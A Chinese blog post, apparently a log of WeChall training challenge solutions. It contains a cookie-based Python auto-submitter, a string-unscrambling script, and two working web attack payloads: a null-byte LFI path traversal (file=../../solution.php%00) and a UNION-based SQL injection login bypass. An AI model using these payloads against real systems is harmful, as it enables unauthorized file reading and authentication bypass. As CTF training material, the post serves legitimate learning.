php 0815 wechall,Wechall刷题记录

[Training: Programming 1]

When you visit this link you receive a message.

Submit the same message back to http://www.wechall.net/challenge/training/programming1/index.php?answer=the_message

Your timelimit is 1.337 seconds

题目要求从链接1中返回一个字符串来替换链接2中的the_message.

时间限制为1.337秒

手动的速度是不可能的了,需要写一个python脚本来自动提交.

提交的过程需要先找到你在wechall上的cookie来从python中实现登陆,我直接抓包获得的,然后直接一个get请求拼接好的链接2就通过了.

import requests

url1 = "http://www.wechall.net/challenge/training/programming1/

index.php?action=request"

url2 = "http://www.wechall.net/challenge/training/programming1/

index.php?answer="

c={"WC": "你的Cookie"}

key = requests.get(url1, cookies=c)

print(key.text)

requests.get(url2+key.text,cookies=c)

[Training: PHP LFI] ([Exploit], [PHP], [Training]))

一个简单的文件包含漏洞的利用,代码对file参数加了'.html'的文件后缀,用%00截断一下就成功绕过了.

http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

题目

oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt oes eoyrup sawsro don:wo bnighbodih.d

看着看着发现第一个词像是wonderful ,然后发现就是每两个字符一组,交换位置,扔python里跑一下就好了,注意空格也算一个字符

#!/usr/bin/env python

# -*- coding:utf-8 -*-

# author:OuTsider5539

a="oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt oes eoyrup sawsro don:wo bnighbodih.d"

print(len(a))

res=""

for i in range(0,len(a)-1,2):

res=res+a[i+1]+a[i]

print(res)

直接上工具了

quipquip

原理我也还没弄清楚...

99f116da640a?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

d

99f116da640a?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

image.png

当你执行select null 2,3 语句的时候可以看到原来你表中没有的列和记录会出现你要查询的内容.

所以构造admin' and 1=2 union select null,'admin',md5('pw')语句来绕过密码验证

参考资料:(https://blog.csdn.net/weixin_39296576/article/details/81222175)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值